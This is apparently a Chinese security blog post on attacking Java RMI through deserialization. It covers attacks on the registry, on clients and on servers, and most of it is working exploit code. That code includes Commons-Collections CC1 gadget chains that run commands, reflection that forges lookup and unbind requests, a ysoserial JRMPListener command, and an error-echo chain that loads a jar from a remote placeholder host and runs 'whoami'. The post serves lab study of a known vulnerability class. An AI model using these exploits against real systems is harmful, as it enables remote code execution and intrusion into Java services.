RMI几种攻击方式

学习文章:https://drun1baby.top/2022/07/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9802-RMI%E7%9A%84%E5%87%A0%E7%A7%8D%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F/

RMI的基本攻击方式

  • RMI Client 打 RMI Registry
  • RMI Client 打 RMI Server
  • 打 RMI Client

1. 攻击注册中心

通过之前的分析学习可知,只有通过客户端才能打注册中心,也就是上一篇的 ”客户端请求注册中心-注册中心“ 这部分:

https://yschen20.github.io/2026/02/12/RMI%E5%9F%BA%E7%A1%80/#5-%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%AF%B7%E6%B1%82%E6%B3%A8%E5%86%8C%E4%B8%AD%E5%BF%83-%E6%B3%A8%E5%86%8C%E4%B8%AD%E5%BF%83

漏洞点就是在RegistryImpl_Skel.dispatch()方法里的那些case

image-20260212191017538

这几个方法一个个来看看

使用 list 进行鸡肋攻击(没啥用)

首先是list(),对应的case就是1,在上一篇中可知这里面是没有readObject()能进行反序列化的,所以没啥用

image-20260212192924425

在客户端新建个 Java 文件,后续的攻击都是从客户端打的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.Naming;
import java.rmi.RemoteException;

public class RegistryListAttack {
public static void main(String[] args) throws Exception{
RemoteObj remoteObj = new RemoteObj(){
@Override
public String sayHello(String keywords) throws RemoteException{
return null;
}
};
String[] s = Naming.list("rmi://127.0.0.1:1099");
System.out.println(s);
}
}

运行后就只能打印出下面这个信息

image-20260212193632285

使用 bind 或 rebind 攻击

去看一下这俩的源码,对应的case就是 0 和 3

image-20260212194034121

image-20260212194053025

这俩都有反序列化的地方,进行反序列化的参数都是传来的字符串和远程对象,如果服务端存在CC链的相关组件漏洞的话,就可以来打CC链了,用CC1链来作为例子来打

这里模拟一下,引入一下依赖

1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

CC1链的入口是AnnotationInvocationHandler.readObject

image-20260212194951312

远程对象在两者之间传递的时候是一个 Proxy 的动态代理对象,Proxy 对象被执行的时候去调用readObject方法,现在就是要让它去调用AnnotationInvocationHandler类的readObject()方法

在使用bind()方法的时候需要一个Remote类型的对象,就需要一个能实现Remote接口的动态代理类

这里可以找到 Proxy 类中的newProxyInstance()方法,方法的第三个参数是接收InvocationHandler的对象

image-20260212203108877

重点是下面这里,存在反序列化漏洞的地方,这里使用反射通过构造函数创建对象实例,如果h是恶意构造的InvocationHandler对象,在实例化的时候就会被触发

image-20260212205809906

所以可以利用Proxy.newProxyInstance()方法,通过 Java 的反射机制来创建一个动态代理对象,并将其转换成Remote接口类型,可以将CC1构造好的对象转换成InvocationHandler类型作为第三个参数传给Proxy.newProxyInstance()方法

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP1 {
public static void main(String[] args) throws Exception{
// 获取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
// 生成恶意payload
InvocationHandler invocationHandler = (InvocationHandler) CC1();
// 将恶意payload包装成Remote代理对象
Remote remote = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{ Remote.class },
invocationHandler
);
// 发起请求
registry.bind("test",remote);
}
public static Object CC1() throws Exception{
String command = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{command})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map decorator = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class,decorator);
return annotationInvocationHandler;
}
}

image-20260212213156019

rebind()的也是一样,吧bind()改成rebind()就行

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP1 {
public static void main(String[] args) throws Exception{
// 获取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
// 生成恶意payload
InvocationHandler invocationHandler = (InvocationHandler) CC1();
// 将恶意payload包装成Remote代理对象
Remote remote = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{ Remote.class },
invocationHandler
);
// 发起请求
// registry.bind("test",remote);
registry.rebind("test",remote);
}
public static Object CC1() throws Exception{
String command = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{command})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map decorator = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class,decorator);
return annotationInvocationHandler;
}
}

image-20260212213214375

使用 lookup 或 unbind 攻击

也先贴一下这俩的源码,分别对应case的 2 和 4

image-20260212210558077

image-20260212210546999

这俩的利用思路和方式都是一样的,就用lookup()方法来举例说明

大概的利用思路和前面的bind()rebind()是一样的,但通过源码可以看出,这两方法只能传入String类型,这里就可以通过伪造lookup连接进行请求,将其修改成可以传入对象的lookup()方法

利用反射来实现,EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP2 {
public static void main(String[] args) throws Exception{
// 获取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
// 生成恶意payload
InvocationHandler invocationHandler = (InvocationHandler) CC1();
// 将恶意payload包装成Remote代理对象
Remote remote = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{ Remote.class },
invocationHandler
);
// 通过反射获取registry代理中的UnicastRef对象(UnicastRef是RMI底层通信的核心组件,负责实际的网络通信)
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
// 通过反射获取Registry的操作方法数组(Operation数组定义了RMI支持的所有操作(bind、lookup、rebind等))
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 创建远程调用对象,操作码2对应lookup方法,最后的长整型是接口哈希值,用于RMI协议识别
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
// 直接向输出流写入恶意对象,绕过lookup方法的String参数限制
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
// 发送伪造的lookup请求,触发注册中心的反序列化漏洞
ref.invoke(var2);
}
public static Object CC1() throws Exception{
String command = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{command})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map decorator = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class,decorator);
return annotationInvocationHandler;
}
}

image-20260212213415851

unbind()方法也是一样,把操作码修改成 4 就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP2 {
public static void main(String[] args) throws Exception{
// 获取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
// 生成恶意payload
InvocationHandler invocationHandler = (InvocationHandler) CC1();
// 将恶意payload包装成Remote代理对象
Remote remote = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{ Remote.class },
invocationHandler
);
// 通过反射获取registry代理中的UnicastRef对象(UnicastRef是RMI底层通信的核心组件,负责实际的网络通信)
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
// 通过反射获取Registry的操作方法数组(Operation数组定义了RMI支持的所有操作(bind、lookup、rebind等))
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 创建远程调用对象,操作码2对应lookup方法,最后的长整型是接口哈希值,用于RMI协议识别
// RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 4, 4905912898345647071L);
// 直接向输出流写入恶意对象,绕过lookup方法的String参数限制
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
// 发送伪造的lookup请求,触发注册中心的反序列化漏洞
ref.invoke(var2);
}
public static Object CC1() throws Exception{
String command = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{command})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map decorator = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class,decorator);
return annotationInvocationHandler;
}
}

image-20260212213643202

2. 攻击客户端

注册中心攻击客户端

上一篇的这部分分析:https://yschen20.github.io/2026/02/12/RMI%E5%9F%BA%E7%A1%80/#3-%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%AF%B7%E6%B1%82%E6%B3%A8%E5%86%8C%E4%B8%AD%E5%BF%83-%E5%AE%A2%E6%88%B7%E7%AB%AF

对于注册中心还是那几个方法来触发:

  • bind
  • unbind
  • rebind
  • list
  • lookup

除了unbindrebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击

可以使用 ysoserial 的 JRMPListener

ysoserial下载地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

image-20260212215533642

命令:

1
java -cp ./ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc

image-20260212220332793

然后客户端访问,这几个方法都可以弹计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote obj = null;
registry.list();
// registry.bind("name", obj);
// registry.rebind("name", obj);
// registry.unbind("name");
// registry.lookup("service");
}
}

image-20260212220857867

服务端攻击客户端

分析:https://yschen20.github.io/2026/02/12/RMI%E5%9F%BA%E7%A1%80/#4-%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%AF%B7%E6%B1%82%E6%9C%8D%E5%8A%A1%E7%AB%AF-%E5%AE%A2%E6%88%B7%E7%AB%AF

有两种情景:

  • 服务端返回 Object 对象
  • 远程加载对象

服务端返回Object对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。以CC1为例:

  • User接口,返回的是 Object 对象,服务端客户端都要有

    1
    2
    3
    4
    5
    import java.rmi.Remote;

    public interface User extends Remote {
    public Object getUser() throws Exception;
    }
  • 服务端实现 User 接口,返回CC1的恶意对象 Object 对象

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;

    import java.lang.annotation.Retention;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;
    import java.util.HashMap;
    import java.util.Map;

    public class ServerReturnObject extends UnicastRemoteObject implements User {
    public String name;
    public int age;

    public ServerReturnObject(String name, int age) throws RemoteException {
    super();
    this.name = name;
    this.age = age;
    }

    public Object getUser() throws Exception {
    String command = "calc";
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{command})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object,Object> map = new HashMap<>();
    map.put("value","value");
    Map decorator = TransformedMap.decorate(map,null,chainedTransformer);
    Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerConstructor.setAccessible(true);
    InvocationHandler annotationInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,decorator);
    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
    annotationInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Retention.class, proxyMap);
    return (Object) annotationInvocationHandler;
    }
    }
  • 服务端将恶意对象绑定到注册中心

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    import java.rmi.AlreadyBoundException;
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;

    public class EvilClassServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
    User liming = new ServerReturnObject("liming",15);
    Registry registry = LocateRegistry.createRegistry(1099);
    registry.bind("user", (Remote) liming);

    System.out.println("registry is running...");

    System.out.println("liming is bind in registry");
    }
    }
  • 客户端获取对象并调用getUser()方法,将反序列化服务端传来的恶意远程对象

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;

    // 服务端打客户端,返回 Object 对象
    public class EvilClient {
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
    User user = (User)registry.lookup("user");
    user.getUser();
    }
    }

先运行起服务端

image-20260213001841867

然后客户端,成功弹计算器了

image-20260213001904514

加载远程对象

这个利用条件太苛刻了,就不看了

直接贴文章的:https://drun1baby.top/2022/07/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9802-RMI%E7%9A%84%E5%87%A0%E7%A7%8D%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F/#%E5%8A%A0%E8%BD%BD%E8%BF%9C%E7%A8%8B%E5%AF%B9%E8%B1%A1

image-20260213002155967

3. 攻击服务端

客户端打服务端

  • jdk版本1.7(我用的还是jdk8u65)
  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的数据有Object类型(因为攻击payload就是Object类型)
  • 服务端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    import java.rmi.Naming;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.server.UnicastRemoteObject;

    public class VictimServer {
    public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {
    protected RemoteHelloWorld() throws RemoteException {
    super();
    }

    public String hello() throws RemoteException {
    System.out.println("调用了hello方法");
    return "Hello world";
    }

    public void evil(Object obj) throws RemoteException {
    System.out.println("调用了evil方法,传递对象为:"+obj);
    }

    @Override
    public String sayHello(String keywords) throws RemoteException {
    return null;
    }
    }
    private void start() throws Exception {
    RemoteHelloWorld h = new RemoteHelloWorld();
    LocateRegistry.createRegistry(1099);
    Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }

    public static void main(String[] args) throws Exception {
    new VictimServer().start();
    }
    }
  • 客户端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;

    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.rmi.Naming;
    import java.util.HashMap;
    import java.util.Map;

    public class ClientAttackServer {
    public static void main(String[] args) throws Exception {
    // 连接服务端
    RemoteObj r = (RemoteObj) Naming.lookup("rmi://127.0.0.1:1099/Hello");
    // 发送恶意payload到服务端的evil方法
    r.evil(getPayload());
    }

    public static Object getPayload() throws Exception {
    String command = "calc";
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{command})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object,Object> map = new HashMap<>();
    map.put("value","value");
    Map decorator = TransformedMap.decorate(map,null,chainedTransformer);
    Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerConstructor.setAccessible(true);
    Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class,decorator);
    return annotationInvocationHandler;
    }
    }

RemoteObj接口改一下

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
void evil(Object obj) throws RemoteException;
}

image-20260213021730914

image-20260213021752854

加载远程对象

和上面一样

文章:https://paper.seebug.org/1091/

RMI进阶攻击方式

利用 URLClassLoader实现回显攻击

攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端

远程demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ErrorBaseExec {

public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e = new Exception(result);
throw e;
}
}

制作成jar包:

1
2
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

image-20260213010419942

客户端POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class ErrorClientEXP {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = "http://x.x.x.x/RMIexploit.jar";
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

先运行服务端,然后在运行这个POC

image-20260213022312037


RMI几种攻击方式
https://yschen20.github.io/2026/02/13/RMI几种攻击方式/
作者
Suzen
发布于
2026年2月13日
更新于
2026年2月13日
许可协议